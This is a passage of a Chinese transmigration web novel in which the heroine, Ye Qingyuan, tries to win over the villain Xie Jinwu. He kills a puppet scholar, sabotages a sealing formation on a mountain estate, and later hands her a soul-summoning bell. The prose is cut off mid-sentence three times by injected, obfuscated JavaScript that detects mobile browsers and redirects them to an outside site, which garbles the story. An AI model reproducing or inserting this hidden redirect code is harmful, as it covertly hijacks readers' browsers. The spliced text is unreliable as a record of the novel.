他话中的不屑太明显,“教书先生”当场就怒了:“你可以瞧不起我,但不准对主人出言不逊!你未免太过目中无人!” 教书先生压下心头烦躁的怒火,勉强扯出一抹诡异的笑容:“你我都是同路之人,何必在此伪装呢?当年若非……” 他话音未落,谢尽芜面上的笑意瞬间消失,他手腕用力,那柄雪白锋利的长剑“噗嗤!”一声穿透他的心口。 谢尽芜微垂着眼帘,漆黑的眸子中满是冷漠。 “砰!”的一声,尸体轰然倒地。 霎时阴风大作,漫天浓雾骤起。叶清圆抬起袖子抵御冷风,再一睁眼,道旁空空荡荡,那教书先生早已消失不见,唯余一只悬系着白纸道符的引魂铃“砰!”地摔在地上。 “他是死了吗?”叶清圆提着灯盏,小碎步走过去,捡起铜铃,“不对,他已经死过一次了,难道还能再死吗?” 她想起原文的设定:人死后,化作鬼;鬼死后,化为聻。 谢尽芜摇头:“他方才出招伤你时,尚且活着。” “……?”叶清圆讶然且嫌弃,“他脸上的皮肤都已经——那样了。” “是那个画师的杰作。” “他十年前寿数已尽,画师为了驱策他为己所用,硬是续了十年寿命作为利益交换。” 到底是逆天而行,这种邪术可谓是瞒天过海,能保人有一口气已是足够,若要容貌也如活人一般,却是痴心妄想。 所以,那教书先生脸上的肌肉才会衰败腐烂得如此严重,必须扑厚厚的一层粉才能遮盖。 叶清圆又想到他临死前对谢尽芜所说的那句“既是同路之人”,心道:难道这大反派也是借寿续命,逆天而行? 原书中提到过谢尽芜身中邪印多年,导致身体早已残破不堪,若说他为了活命而借寿,这并非不可能。 思及至此,叶清圆忍不住偷偷抬眼看他。 清辉皎洁,谢尽芜的脸颊是难以形容的光滑玉白,嘴唇微红着抿成一线,从下颌线到下巴弯出一道漂亮的弧度。 倒不像是肌肉腐烂、又敷了粉的样子。 难道他整张脸都是假的?像是《画皮》里美艳不可方物的妖,在万籁俱寂的夜里取下人皮,纤手持笔,描眉画眼。 叶清圆认真思索片刻,兴许真的是呢? 毕竟一个男孩子生得这般相貌,属实是叫人移不开眼的程度了。 她的眼眸清澈,是溶溶月光下的两汪清泉,鼻尖冻得微微泛红,因着探索的目光太过炽烈,谢尽芜很快就察觉。 不自在地望了她一眼后,他轻咳一声,有意转移注意力道:“方才亲眼见到我杀了一个人,叶小姐心生惧怕吗?” 相处不久,他却已招架不住她的直白与温和。 她看人时眉眼含笑,语调轻轻,与人讲话时总有种不急不燥的气度,笑意是浅淡却灵动的,蕴着温柔。 这与他过往二十年的人生经历大相径庭。 他习惯的是暴力、冷漠、尔虞我诈,他曾面对的是人性道德的最低洼处,向来以恶意回击恶意。叶清圆的态度实在叫他感到不知所措。 这算是关怀吗? 还是她生来如此,对谁都是眉眼安然、笑意温柔?只是他自己心思敏感,想得太多,误以为自己是特殊? 叶清圆提灯提到手腕发酸,于是换了只手,诚恳道:“嗯,是有些害怕。” 谢尽芜的眉头舒展了。原来她也怕他,他像是一株枯败的树木,重新躲回了阴暗寒冷的角落。 这才对。 沉沉夜色中,清凌凌的一声笑,叶清圆又道:“可是那个人驱策阴魂,害了这么多百姓,本就该死啊。谢公子一剑杀了他,是为民除害。” 她转过脸来,习惯性地微笑,唇角都漾出了梨涡:“你做了大好事!” 她的语声清脆,像是纷乱跳跃的雨点落在了名为“谢尽芜”的湖面,荡出涟漪。 谢尽芜的眼睛微微睁大,阴郁深沉的眉目难得的透出几分迷茫与无措,微红的薄唇抿了抿。 他生平头一次被人夸赞,心中所产生的情绪却并非喜悦,而是迷茫。 他喉结滚了一滚,心头莫名烦躁:“不是。” 叶清圆一边暗笑他的脸面竟薄成这样,一边意味深长地“哦”了一声:“君子论迹不论心,谢公子,大家都会记得你的好。” 谢尽芜难以招架,无言以对。沉默一瞬后,收剑入鞘向前走去,同时头也不回道:“事情还没办完,不要再耽误时间了。” 叶清圆看着他尚且浅红的耳尖,差点要笑出声。 小跑几步跟上,她提着灯盏回头笑道:“说真的,谢公子给我的这盏灯也有驱邪的作用吧?” 谢尽芜不看她:“你想多了。” 叶清圆从善如流道:“那就是谢公子身上的气场太强大,一路走来都没有邪祟胆敢近我的身。谢公子真厉害。” 谢尽芜忍了忍,黑曜石般漂亮的眼珠还是转过去瞪了她一眼。他是少年相貌,清透莹润的脸容,不笑时却总下意识地压低眉眼,给人一种阴郁的感觉。 好在他此刻眼中隐隐带着笑意。 叶清圆追上去,声线柔和:“谢公子,那天我送给你的抹茶酥,你真的也不喜欢吗?” 谢尽芜脸颊净白,胜过月色三分,“若我说不喜欢,你会怎样?” “会很伤心啊,不瞒谢公子,这几日我有在努力学习了。若你说不喜欢,我真的会很难过,”叶清圆的眼中恰到好处地漫出哀愁与可怜,“对啦,我还学了栀子花糕呢,改日谢公子来尝尝可好?” 谢尽芜眸中的笑意彻底消失。他半垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445920|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼帘,目光冷漠,如一汪深潭。 分明先前还讲过,既然不喜欢甜食那就不吃。可她此刻又旧事重提,可见此人端的是一派甜言蜜语,实则并不会真的将他的喜好放在心上。 叶清圆分毫未觉,犹自语轻喃喃:“谢公子,你喜欢栀子花吗?” 她转过脸,蓦地对上一双冷漠的眼瞳。 此刻他眸中冷意尽现,如凛冽冰雪上薄薄覆盖的一层熹微日光。 好清隽的一张脸,瞬时天地寂静,连山道旁的竹枝灯都逊色三分。 可此时的叶清圆只心生恐惧,他眼中杀意浓重,仿佛一场刀剑相接,溅起飞雪三尺。 她微不可察地小小退后一步。 谢尽芜居高临下,瞳孔泛出寒光:“我说,不喜欢。” 叶清圆咬住唇,视线下移,不再去瞧那道冷凝如冰的目光,哼道:“不喜欢不吃就是了,谢公子不必动怒。” 她微微低着头,雪白大氅因先前的奔走而松泛了些,露出掩藏在后领的那一道轻薄领缘。颈项净白细长,颇具文秀之气。 谢尽芜转过脸,眉宇间是隐忍的怒意。浅红的唇抿成一线,他忽地又笑了,笑得虚情假意,“叶姑娘,是否还记得我曾说过,有一种办法既可以取出本命珠,又不让小姐感知到分毫痛苦。” 叶清圆轻轻颔首:“记得,可你不是说这个办法不可取吗?” “不,并非不可取,而是时机难寻。本命珠在宿主意志脆弱、心态崩溃时取出,最易。”谢尽芜眼中笑意冷浸浸的,“此刻,就是时机。” 叶清圆霎时睁大双眼,山道旁的竹枝灯光线惨白,晕染她的一双眉目。 “我想了想,对叶小姐这样的人来说,心中最挂念的无非就是家人吧。” 谢尽芜两指并作一处,朝着山道点了点,清贵俊美的脸在灯火下如鬼似魅,“叶肃如今就在山上,叶小姐跑得快一些,或许还能见他一具全尸。” 叶肃? 不对。此刻在山上的不只叶肃,还有江氏族人! 谢尽芜为了得到一只本命珠,就准备将他们赶尽杀绝吗? 一瞬的空白之后,恐惧与愤怒顷刻间占据了叶清圆的全部心神,袖中的手紧握成拳,怒不可遏地颤抖起来。 “谢尽芜,你……”她不知哪来的气力,忽地上前推开谢尽芜,推得他踉跄着后退一步,怒道,“无耻!” 谢尽芜依旧居高临下,依旧是倨傲冷漠的一双眼。他本欲笑,可扯了扯唇角,却有些笑不出来。 他轻声道,“过奖。” 昏沉寂静的黑夜中,山中宅院忽地传来一阵轰隆隆的爆炸声,震得叶清圆心头骤跳。 蓦地抬目望去,朦胧寡淡的清辉之下,那道阵法的灵力竟莫名其妙暴涨,道道刻印着符咒的灵环犹如失控一般,疯狂地飞速旋转流动起来。 不过两息之间,阵法——破! 宅院中的惨叫声伴随阵法爆破的巨震响彻云天,浓烈的火光随即冲天而起! 叶清圆浑身的血液似乎都褪了个干净,眼中是掩饰不住的难以置信。 回首看,方才还与她轻笑谈话的谢尽芜,此时正一瞬不转地望着她。 竹枝灯的光晕如轻纱般一层层笼罩下来,谢尽芜垂下眼帘看她,眉梢却微挑,眼中有不易察觉的冷意。 他那双清亮的眼瞳生得可真是漂亮极了,却也冷极了,不笑时透出一股子疏离与傲慢,仿佛天地众生皆为蝼蚁,为了达到目的,可随时将之踩在足下。 他这样的人,合该去做个无情无爱的反派,然后被正道主角的正义打败,普天同庆。 她怎么去攻略他呢?她如何去温暖一块冷硬至极的寒冰? 颊边珊瑚耳坠止不住晃动,她的乌发也被晚风拂起。山上火光冲天,烟尘一股股涌来,仿佛此时已经感受到热浪炙烤的痛楚,叶清圆急火攻心,声音里也不自觉带了几分怒气,“现在请你停手,也已经晚了,对吗?” 谢尽芜不置可否地挑起眉,眼瞳沉静如深潭,忽然就这么好似轻蔑地笑了。 “……好,你很好!谢尽芜!”叶清圆恼得脸颊发红,最后望他一眼,决绝回身,奔向崎岖的山道。 竹枝灯的微光透过灯罩,映照着道旁野蛮生长的红杜鹃。 清辉也淡淡,泼洒在谢尽芜挺拔的肩背,晕出一层柔和的白光。 9. 第 9 章 崎岖昏暗的山道上,藤蔓枝叶的轮廓逐渐显现如同张牙舞爪的兽,枝桠自道旁凌厉探出,阻挡着本就受黑暗影响的视线。叶清圆此时压根顾不得什么体面,碎发拂在鼻梁与脸颊上,抬手胡乱拨开。 山风呼啸,怪石嶙峋,急促的喘息与心跳在耳畔剧烈放大。 锋利的枝叶边缘割伤了手掌也不在乎,她只觉恼怒,连足步都尤其有劲,每一脚都仿佛要踩在谢尽芜的脸上。 他要本命珠,她取给他就是了,何必做得这样绝?竟不惜拿这么多人的性命开玩笑。可见此人是冷情冷心到了极点,除却自己的利益之外什么都不放在眼里。 叶清圆恨得咬牙切齿,敢情他这几日委屈在叶府就是为了寻找机会、布局设计,最后将所有人都困缚在他的圈套中。 连那双漂亮眼瞳中的浅淡笑意,此刻回想起来都是那样令人毛骨悚然。 他是本书的大反派,是挑断她筋脉、又将她囚禁虐杀的罪魁祸首。虽生得一副清冽俊美的好相貌,骨子里却是能把人命丢在秤上称的狠心冷漠。她真是没有经历过社会的毒打,心思纯澈到愚蠢的地步,竟敢去做人性本善的春秋大梦。他笑得清透漂亮,好似人畜无害,自己就心大到敢对他卸下防备。 叶清圆浑身冒着寒意,仿佛被冰浸透了。 - “轰!——”火球溅开如浪,点燃了宅院中遍地的碎叶败枝。浓烈的烟尘缓缓散开之后,才现出滚倒在地满身尘土、形容狼狈的江氏修士。 “怎么回事?” “快后撤!后撤!——” 阵法爆开的热浪一股股扑面而来,激起此起彼伏的痛苦哀嚎声。 碎裂毁坏的法器叮叮当当崩落在青石砖上,砸出串串火星,整座宅院烟雾弥漫,宛如下过一场裹挟着雾气的急雨。 叶肃踉跄着后退一步,拢在袖中的手指不住颤抖着。 他的锦衣袍角被炸开的烈火团击中,当即烧糊了一个洞,但此时情况危急,却也根本顾不上了。 抬起手抹了一把沾满灰的脸,他的目光凝定在夜空中即将消散的阵法灵力,满脸万念俱灰,仿佛看到雪山倾颓在眼前却无能为力。 旁边一名修士手臂被阵法冲击,鲜血染透了衣衫,颤声道:“怎么回事?到底出了什么问题?!” 叶肃脸色苍白:“阵法……似乎被人动过手脚……” “怎么会!这阵法一直都派人在盯着,不可能有问题!” “障眼法。我们都被人骗了,”叶肃转过脸来,眼神中竟现出了一瞬茫然,“阵心早已被人毁掉了。” 那修士哑然失声。江氏看管了十几年的阵法在关键时刻出了岔子,若追究起来,他这条小命估计都要不保。 晚风中掺杂着烈火的热气,叶肃站在风口,却只觉浑身冷汗不住地往外冒。难以置信到极点,他反倒睁着一双眼笑出声来,“还有渡亡白氏那个半死人,这么久了,竟连拘魂铃都没有送来!没有阴魂,我怎么开阵!” 修士吓到不敢言语。 手指捏紧了袖口,叶肃放远目光巡视四周,方才的巨响余波依旧在脑海中回荡,他混沌地思索着:有能耐在江氏弟子眼皮子底下对法阵动手脚,此人的修为必是…… “爹爹!” 清脆却犹豫的一声呼唤,顿时拉回了叶肃的意识,同时,却叫他一颗心立刻提到了嗓子眼。 叶清圆不知何时竟来到此处。 叶肃的眉宇间满是怒色,他用力闭了闭眼,压抑住脸上的烦躁,冷声道:“你怎么来这里了,多危险!快回家睡觉吧,我这就派人送你……” 说着一只手按住她肩膀,就要派人。 叶清圆摇头,连声音也染上了一丝颤抖,“爹爹,你们在此地设阵,真的是为了封印那只妖吗?” 叶肃的眼瞬时睁大了些,拉着她走到旁边,皱眉道,“你都听到什么了?” 叶清圆如实相告,“什么都听到了,包括爹爹与江氏合作设立这个阵法,还有爹爹派人拘魂祭阵,叫他们不得安宁的事……” “胡闹!”叶肃面色陡然变了,待话说出口才觉得失态,深呼了一口气,勉力压抑住烦躁,“清圆,这不是你应该来的地方。现在赶紧回去,有什么话,待明日我再和你讲,行不行?” 叶清圆抿着唇,乌黑的眼珠中带着倔强,不肯低头。她看着眼前这个利欲熏心的便宜爹,声音尽力平静下来,“不论和江氏的交易是什么,爹爹,您看一眼这些受伤的修士,这一切值得吗?” 叶肃双手扶住她的肩,声线也染上了一丝怒意,“这一切都是为了你!江氏承诺过的,只要交易达成,他们会出手帮助我们重建点灵世家。我们叶氏的儿女,一身的天赋不可浪费,即便流落在此几百年又如何?血脉本源不可断,我们早晚都是要回归本家的!难道你要一辈子待在这个地方,碌碌无为度过一生吗?” 点灵世家? 叶清圆微微睁大双眼。四大世家里唯一覆灭的点灵世家叶氏,竟是原身的本家? 难怪原身的书房中会出现那本满是符咒法诀的古书,也难怪原身从不认真修习符咒,却也两三笔就能画出稀有且威力巨大的五雷符。 这一切竟归因于她的天赋太过彪悍,根本无法割舍。 原来系统竟送了她金手指! 但是如今的叶肃为了重回点灵世家,已经心生执念,甚至不惜做出拘禁阴魂这种违背天理循环的事,必须阻止。 “我知晓爹爹是为了我好,”叶清圆的心中重重叹出一口气,“可是这些修士也是他们父母的孩子啊,还有那些被拘住的、终日不得自由的阴魂,他们也有牵挂着的亲人呀。” “我只要爹爹好好的。”叶清圆的双眸被烟熏出泪水,楚楚可怜,“什么点灵世家,我根本不在乎。爹爹今日为了这个阵法不惜陷入危险,可知我在家里有多么担心呀,我以后真的不想见到爹爹受伤了。” 原身的母亲江尚绵本就体弱,生产之后更是亏空了身子,郁郁寡欢多年,终归是入了城外佛寺清修,充耳不闻窗外事,好歹是心中宁静,吊住了一口气。 叶肃与原身多年来相依为命。叶肃其实很不喜欢原身,毕竟是她的出生才叫江尚绵遭罪,且一个女儿家,终日病殃殃的,也不如男子那般足以肩担大任,点灵的手段传给她,也不知究竟能有什么用。 可是,此时叶清圆双目含泪,嘴巴委屈地撅着,昏暗朦胧的月光下与那缠绵病榻多年的叶夫人竟有六分相似。叶肃望着不由得心软了几分,倒真生出了“这女儿也没那么差”的罢休之意。 残存的火光与烟尘中,江氏子弟踉跄着站起身,捡起零落一地的法器。砖瓦坍塌、枯树折裂的背景音中时而传来惊惧的议论声。 晚风中忽有竹叶缓缓飘落。 叶清圆扬起脸,话已说尽,叶肃若再不醒悟,她也无法。 谁知,叶肃久久盯了她,忽地露出一抹笑,“我的女儿,怎么突然知晓这么多?是那位谢公子告诉你的吗?” 叶清圆一口咬定:“不是。” 她也不知自己为何否认,或许是谢尽芜此人太过危险,她下意识地不想把他牵扯进来。 “爹爹为何这样问?这件事与谢公子有什么关系呀?”她反过来问。 叶肃敛眉沉目,冷声问:“他现在人在哪儿? 叶清圆一怔:“这我怎知?” “清圆,你乖乖告诉我,你私自上山的那晚,是谢公子救下的你,不对吗?他当时究竟有没有对阵法动过手脚?” 叶清圆有些迷惘,低下头,莫名可怜的意味:“女儿学艺如此不精,即便他做过,我也认不出来呀。” 叶肃皱着眉叹了一口气,他何尝不知晓这个道理?只是十几年的筹划几乎毁于一旦,他心急得要命,此时忍不住厉色起来。 眼见着二人就要僵持住,一道清越动听的嗓音自身后传来:“清圆妹妹说得对,叔父,她还小呢,什么都不懂,不要再逼问她了。” 溶溶清辉与烈烈火光的交相映照下,一道纤长身影逆光走来。 院落里待命的江氏子弟闻声自发退后,恭敬谦卑地让开一条道路。 那道身影正是江云初。她依旧一身水蓝色修士袍,柔软乌发以一支银簪挽住,衣摆飘逸,绣制雪浪泼天。她右手持剑,腰间垂挂江氏的通行令牌,肩背挺直,步伐不急不缓,雪靴踩踏青石砖而过,微微有声。 纵使此刻阵法出了纰漏、江氏弟子个个脸露惊恐,她的眉目却依旧是温和从容,整个人由内而外散发出一种柔和却坚定的气质。 叶肃皱起眉,岔子出在他这里,他的神色不可谓不尴尬:“大小姐,今日之事……” 江云初抬起手,打断他即将出口的歉疚与自责,温声道:“叔父不必再说,这些事我先前并不知晓。否则,我绝不会答应父亲来此做所谓的‘除祟’。至于叔父与江氏之间的交易,作废吧。” “大小姐!”叶肃怔然,“这可是叶某十几年的心血,怎能说废就废?!” 江云初逆着火光而立,唇角带着轻笑,火光描摹着她优雅精致的侧脸轮廓,“爱女心切, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445921|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我可以理解。清圆妹妹今晚回去便好好想一想,若有意修习术法,那么我就自作主张,今后无论行至何处,都将清圆妹妹带在身边,从此她便由我亲自教导。” 她转过脸来,一双眼珠带着柔和的善意,定定望住叶清圆,“好吗?” 叶清圆也笑得眼睫弯弯,“好!” 她没有思考的余地,当江云初的话音方落下时,系统就在脑海中不断暗示,一定要答应江云初的提议,待在她的身边,否则后续的任务根本无法进行。 叶肃本来对这件事还颇有微词,此刻见叶清圆倒是忙不迭点头答应了,他也无法,想要叹气却只得硬生生忍住。 他费尽心机、筹划许久,才勉强获得一个与江氏家主平等交易的机会,一个将女儿叶清圆送入修真世家的可能。不曾想,眼前的江氏大小姐随口一个许诺,这件事竟就成了板上钉钉。 仿佛他十几年的处心积虑,成了一个笑话。满肚子的憋屈无处发泄,叶肃站在青石砖地转了两圈,眼见江氏弟子陆陆续续疗伤后收拾残局,呼尽了胸中那一口浊气后,才觉浑身轻松起来。 心血白费又如何?这道阵法又算得了什么?叶清圆能够跟在江氏大小姐身边,这才是天下修士所求之不得。 江云初无暇与他多言,只吩咐人送他下山后,便转身去忙,她要亲自动手清除宅院里残存的灵力,以免今后再伤害到无辜百姓。院中霎时纷乱嘈杂起来,她那一双秀气的眉微微蹙气,心情必定不是很好。 微凉的山风送来刻意压低音量的交谈声,叶清圆隐约听出,江氏要彻底放弃这一处地方了。 晚风拂过竹叶的簌簌声又一次响起。 她仰头看天边,天幕澄澈,月色皎洁。院外的竹林绿意浓郁,轮廓朦胧,枝叶被清辉镀上一层柔和且清淡的光晕,愈发显得下方的阴影幽深如海。 林中雾气轻.薄,绢帛一般随风奔涌,缠着那轻轻晃动的衣摆向上袅袅绕去。 那衣摆好是熟悉,袍角绣制着银线,月轮下偶见莹白光芒一闪而过。 叶清圆顿住脚步,雾气深重,干扰视线。她微微眯起双眼,目光上移,耳畔似有长风呼啸,夹杂着砰砰的心跳声。 袍角绣制的流云纹,长剑冷如寒冰。 那一轮垂坠在剑穗的白玉,以及按在剑鞘上的修长指节。 ——谢尽芜。 他还是那副温润俊秀的模样,秀挺修硕,一张脸白得欺霜胜雪。这样昏暗朦胧的竹林下,那双眉目依旧清冷漂亮,或许是月色太过朦胧缱绻的缘故,他望过来的目光似乎染上了笑意,影影绰绰,叫人看不真切。 他的右手抬起,白皙修长的指尖勾着一串老旧的铜铃。 铜铃叮当响,铜舌拴住的一纸符咒也随风摇摆。 引魂铃! 铜铃的清脆响声悠长悦耳,如清澈溪流撞在岩石的声音。叶清圆的脖颈忽却地起了一层鸡皮疙瘩,谢尽芜难道是要对自己毁尸灭迹吗? 宅院中的交谈声隔得远远传来,江氏弟子此时都忙于收拾阵法的残局,根本无暇关注到这里。 眼下,唯有他和她在此。 以谢尽芜的修为与心狠程度,悄无声息地杀掉一个手无寸铁的她,简直太容易了。 她的脸色霎时发白,浅红的唇微张,惊慌失措之际,当即尖声大叫起来! 一阵凉风拂拭而过,风中夹带着山茶花的香气,竹叶簌簌飞扬。 脸颊忽地传来温热的触感,尖叫声闷在他的手掌中,叶清圆被一股大力带得向后踉跄半步,鬓发间朱钗细碎轻响。 将要跌倒的时候,一只手却自身后伸来,手背稳稳抵住了她的后肩。 低沉悦耳的嗓音自耳边传来:“不想死,就住口。” 待她站稳了后,又恪守礼节地放开了她。 叶清圆惊喘未定,满脸惊恐地看着已逼近她身前的谢尽芜。 溶溶月光如温水一般沿着他的下颌骨缓缓流淌至脖颈,勾勒出一段极为利落漂亮的轮廓。 簌簌抖落的浓郁竹叶随风缓缓飘落在他身后,谢尽芜的眉眼深邃,嘴唇浅红,眼梢挂着清浅的笑意,月色下俊俏得叫人移不开眼。 他已收回手,温热又略显粗糙的触感却仍旧停留在脸颊。叶清圆后知后觉地嗅到他袖中那股清冷馥郁的香气,本该发怒斥责他无礼的,热气却蓦地冲上了脸颊。 谢尽芜眼睫低垂,月色如练,他无法不注意到她脸颊逐渐漫起的红晕。 他的目光清透中带着迷茫,沉默一瞬后:“你的脸怎么这样红?” 10. 第 10 章 叶清圆眨了眨眼,浓密的眼睫遮盖住情绪,声音轻轻,反问道,“谢公子又想做什么?” 谢尽芜涵养极佳地勾起了唇角,眼中流露出诚恳的善意,“叶姑娘大可放心,我此行并非来杀你。” 原书中,大反派谢尽芜每次杀人时,脸上总会露出这样纯良无害的笑容。 叶清圆心里惴惴,脸颊却被他捏得有些疼,忍不住道,“……那我要多谢你的不杀之恩?” “不必,”谢尽芜垂着眼帘看她,关怀却执拗地又问了一遍,“你的脸颊为何红了?” 山茶花香弥漫,叶清圆扭过脸去,“不劳谢公子费心了。” 谢尽芜的眉心微蹙,不明所以地盯着她。 她侧过脸,莹洁小巧的耳垂上珊瑚耳坠轻轻晃动。清辉之下,她唇上的胭脂竟有些花了,白皙的脸颊也现出隐隐的指印来。 指尖传来滑腻湿润的触感,谢尽芜下意识捻了捻手指。 月光映照之下,指尖是一抹浅红。 一瞬的迷茫之后,浓秀的长眉舒展开来。 他若有所思:原来是方才捂住她脸的时候,掌心按在她的唇,蹭掉了胭脂。手劲未收,又在那娇嫩的肌肤上按出了红痕。 叶清圆余光瞧见他捻手指的动作,似乎有杀意弥漫,更觉浑身僵硬起来。 谢尽芜的手指与人一样漂亮,修长白皙,青筋隐隐,骨节微突,蕴着十足的力量感,仿佛徒手捏断人的喉管也不在话下。 难怪,后来他提剑挑断原身筋脉的时候,也那么轻而易举,仿佛信手拨弄琴弦。 叶清圆明显不敢再和他多说,拂了拂袖口,转身要走:“谢公子还是尽快离开吧,我就不相送了。” “慢,”谢尽芜抬眸掠了她一眼,手腕一抖,清脆铜铃声响动,“这只引魂铃,是叶姑娘自宅院外捡到的。” “我捡的?”叶清圆惊讶,尚未开口,手心忽地一凉,那只铜铃已经沉甸甸压在她的手掌心。 头顶的嗓音低沉悦耳,带着淡淡的笑意:“或者你也可以说,是与我一起取来的。” 莫名其妙。他为何要这样说? “哥!那只引魂铃找到了吗?” 足踏碎叶的簌簌声蓦地响起,一名身穿描金白袍的少年拂开垂落的山茶花枝,喘息着奔过来。 雪白的宽袖,金线暗纹,领口绣制一只振翅欲飞的青鸾。 是渡亡世家的人。 “你先回去,白璟。”谢尽芜半侧过脸,殷黑的眼眸中冷淡如冰,“这里不关你的事。” 白璟,渡亡世家的少主,家主白令勋的独子。 在原著中,作者只提到过一次这个角色。 他竟然是谢尽芜的弟弟吗? 白璟睁大双眼,目光在谢尽芜和叶清圆之间偷偷扫过一圈,忙不迭点头:“是,我知道了!” 他的眼睛在黑夜里也亮如繁星,浑身稚气未脱。临走时却足步一滑,犹犹豫豫地补充一句:“哥,待会事情解决之后,父亲有话想和你说。” 谢尽芜的眉心一蹙,神情淡淡的厌烦:“我没有时间。” 白璟有些失望地挠了挠头:“……哦。那我走了,哥。” 叶清圆的视线落在他离开的身影,忽然觉得这孩子的相貌倒与谢尽芜有三分相似呢。 他们之间有什么关系? 谢尽芜的视线落在她出神的脸上,讥讽一笑:“叶姑娘,山风很冷,不要待太久。” 她怔怔抬眼,竹叶簌簌纷飞,晚风轻拂,谢尽芜的身影竟已不见。 - 宅院中的修士收拾残局以后便陆续撤退下山,唯留下江云初一人负责善后。 据说是有世家之人要来察看情况,引渡亡魂。 叶清圆的脑子转得快,引渡亡魂,那可是渡亡世家白氏!她可太好奇了!不知可否与江云初一起留在此地,观摩一下? 江云初眼中带笑,不容反驳地拒绝了她,“不可以。渡亡世家之人不喜欢与人打交道,连我在他们面前都要小心斟酌用词,唯恐惹得他们不快。你这样活泼爱闹的性子还是避一避吧,万一吓到他们呢。” 叶清圆了然,原来是社恐啊。 渡亡世家之人向来清冷疏离,不争不抢,与亡魂打交道确实比与人交往要容易多了。 江云初又笑,“况且,他们待会还要先找到那只丢掉的引魂铃,这可要许久呢。你还是乖乖回府睡觉,山上太冷。” “引魂铃?”叶清圆缓缓抬起手,手指勾着一只垂系道符的铜铃,“是这个吗?” 江云初睁大了双眼,眼中笑意慢慢被震惊取代,“这是从何而来?” “方才我去宅院外头透气,在地上捡到的。”叶清圆实在不擅长说谎,只干巴巴地重复,“对,在路边捡到的。” “是吗?”江云初盯着她的双眼,思绪飞转,随后垂下眼睫笑了笑,放过了她,“好,清圆,我相信你。” 她向来冰雪聪明,既猜到了原委,也不必说破。 叶清圆抿着嘴唇,眼梢有一点点羞赧的笑意。 江云初接过引魂铃,收入袖中,“我会派人送你回府。回去好好睡一觉,什么都别想。” “好!”叶清圆用力点点头。 她沿着山道缓步走,却并未再见到谢尽芜的身影。 行至山脚的时候,忽而一阵铜铃响,宅院中华光大作。这光华柔和漫密,呈淡金色,流水般向四周散开,如一张弥天大网笼罩住整座山峰。 悠长的铜铃声缓缓响起,漾开在这漫漫的长夜。 晚风也止息,枝叶凝住不动。天地之中,一瞬寂静。 - “——叮!恭喜宿主完成支线任务关键情节:初阳镇的交易!” “恭喜宿主完成支线任务一:收服百鬼,维护初阳镇的安宁!” 春和景明,风轻日暖,初阳镇的封印彻底解除之后,终于恢复了正常的季节更替。 叶清圆歪在廊下的竹榻上,看树顶的澄澈天穹。身旁矮桌上摆的是时令鲜果,清茶一杯。廊外月季花树的枝桠斜斜伸展,影子摇曳,投射在她杏色的轻纱裙摆上,光影变幻,像是水波粼粼流动。 她仰着脸,口中轻声呢喃:“我如此完美地完成了任务,按照规定,系统是不是应该有所表示?比如,任务奖励什么的?” 言下之意,再给点钱。 系统沉默一瞬,淡淡的机械声在脑海中响起:“宿主可以获取一样关于攻略对象的个人信息。” 关于谢尽芜吗? 或许可以询问一下他的喜好,有了大致的范围,可以恰如其分地“投其所好”,也稍微降低今后的任务难度。 ——不对不对。与这样阴狠温雅、叫人猜不透心思的大反派打交道,更重要的是关注他所能容忍的下限,避免踩雷。 叶清圆微微眯起眼,思索片刻:“谢尽芜有什么雷点吗?对他来说,不管是什么人触及,都无法饶恕的那种?” 这一次,系统回答得很干脆:“栀子花。” “栀子花?”叶清圆怔怔的,反应过来后又忍不住笑,“这算什么雷点?他讨厌栀子花也称得上什么不可饶恕的……” 话没有说完,她忽而一顿,唇角的笑意也被冻住了。 几天前,她提着食盒献宝似的去找谢尽芜时,还颇为骄傲地说自己学会了栀子花糕呢。 那时谢尽芜是什么反应来着? 她闭上眼,脑海中浮现的是谢尽芜那双漠然的眼瞳,瞳中弥漫起沸腾的杀意。 竹帘垂挂在檐下,方方正正的,随微风轻轻拂动,发出哒哒响声。 叶清圆绝望地叹了一口气。她竟在毫不知情的前提下触碰到了谢尽芜的雷点,甚至又贴脸开大,在他的雷点上蹦迪! 可是结合谢尽芜后来的态度,堪称温和有礼、气度沉稳,也并未有要杀她灭口的意思。 难道是在憋大招? 是了,初阳镇虽小,好歹也是叶肃的地盘,近日又有江氏子弟据守。谢尽芜没有选择在这里将自己毁尸灭迹,恐怕也是为避免惹来不必要的麻烦。 叶清圆不自觉地打了个冷战,初夏的微风吹到身上,竟还残存着些刺骨的凉意。 思绪飞转,她弱弱开口问了一句:“可以告诉我,现在谢尽芜对我的好感值吗?” 毕竟也是共患难过的人了,又吃了她亲手送去的抹茶酥。纵使是心如草木,此时也该动容,总不至于对她还是毫无好感吧! 系统沉默,似乎有些为难,又像是攻略对象心思太难揣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445922|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测,难以给出一个稳定的数值。 